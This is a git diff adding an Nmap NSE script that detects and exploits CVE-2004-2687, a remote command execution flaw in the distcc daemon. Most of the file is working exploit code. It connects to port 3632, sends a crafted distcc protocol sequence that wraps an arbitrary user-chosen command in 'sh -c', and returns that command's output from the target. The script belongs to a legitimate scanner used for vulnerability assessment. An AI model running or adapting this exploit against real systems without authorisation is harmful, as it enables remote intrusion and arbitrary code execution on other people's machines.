diff options
Diffstat (limited to 'scripts/distcc-cve2004-2687.nse')
-rw-r--r-- | scripts/distcc-cve2004-2687.nse | 108 |
1 files changed, 108 insertions, 0 deletions
diff --git a/scripts/distcc-cve2004-2687.nse b/scripts/distcc-cve2004-2687.nse new file mode 100644 index 0000000..e2b09f2 --- /dev/null +++ b/scripts/distcc-cve2004-2687.nse @@ -0,0 +1,108 @@ +local nmap = require "nmap" +local match = require "match" +local shortport = require "shortport" +local stdnse = require "stdnse" +local vulns = require "vulns" + +description = [[ +Detects and exploits a remote code execution vulnerability in the distributed +compiler daemon distcc. The vulnerability was disclosed in 2002, but is still +present in modern implementation due to poor configuration of the service. +]] + +--- +-- @usage +-- nmap -p 3632 <ip> --script distcc-exec --script-args="distcc-exec.cmd='id'" +-- +-- @output +-- PORT STATE SERVICE +-- 3632/tcp open distccd +-- | distcc-exec: +-- | VULNERABLE: +-- | distcc Daemon Command Execution +-- | State: VULNERABLE (Exploitable) +-- | IDs: CVE:CVE-2004-2687 +-- | Risk factor: High CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C) +-- | Description: +-- | Allows executing of arbitrary commands on systems running distccd 3.1 and +-- | earlier. The vulnerability is the consequence of weak service configuration. +-- | +-- | Disclosure date: 2002-02-01 +-- | Extra information: +-- | +-- | uid=118(distccd) gid=65534(nogroup) groups=65534(nogroup) +-- | +-- | References: +-- | https://distcc.github.io/security.html +-- | https://nvd.nist.gov/vuln/detail/CVE-2004-2687 +-- |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2687 +-- +-- @args cmd the command to run at the remote server +-- + +author = "Patrik Karlsson" +license = "Same as Nmap--See https://nmap.org/book/man-legal.html" +categories = {"exploit", "intrusive", "vuln"} + + +portrule = shortport.port_or_service(3632, "distcc") + +local arg_cmd = stdnse.get_script_args(SCRIPT_NAME .. '.cmd') or "id" + +local function fail(err) return stdnse.format_output(false, err) end + +action = function(host, port) + + local distcc_vuln = { + title = "distcc Daemon Command Execution", + IDS = {CVE = 'CVE-2004-2687'}, + risk_factor = "High", + scores = { + CVSSv2 = "9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)", + }, + description = [[ +Allows executing of arbitrary commands on systems running distccd 3.1 and +earlier. The vulnerability is the consequence of weak service configuration. +]], + references = { + 'https://nvd.nist.gov/vuln/detail/CVE-2004-2687', + 'https://distcc.github.io/security.html', + }, + dates = { disclosure = {year = '2002', month = '02', day = '01'}, }, + exploit_results = {}, + } + + local report = vulns.Report:new(SCRIPT_NAME, host, port) + distcc_vuln.state = vulns.STATE.NOT_VULN + + local socket = nmap.new_socket() + if ( not(socket:connect(host, port)) ) then + return fail("Failed to connect to distcc server") + end + + local cmds = { + "DIST00000001", + ("ARGC00000008ARGV00000002shARGV00000002-cARGV%08.8xsh -c " .. + "'(%s)'ARGV00000001#ARGV00000002-cARGV00000006main.cARGV00000002" .. + "-oARGV00000006main.o"):format(10 + #arg_cmd, arg_cmd), + "DOTI00000001A\n", + } + + for _, cmd in ipairs(cmds) do + if ( not(socket:send(cmd)) ) then + return fail("Failed to send data to distcc server") + end + end + + -- Command could have lots of output, need to cut it off somewhere. 4096 should be enough. + local status, data = socket:receive_buf(match.pattern_limit("DOTO00000000", 4096), false) + + if ( status ) then + local output = data:match("SOUT%w%w%w%w%w%w%w%w(.*)") + if (output and #output > 0) then + distcc_vuln.extra_info = stdnse.format_output(true, output) + distcc_vuln.state = vulns.STATE.EXPLOIT + return report:make_output(distcc_vuln) + end + end +end |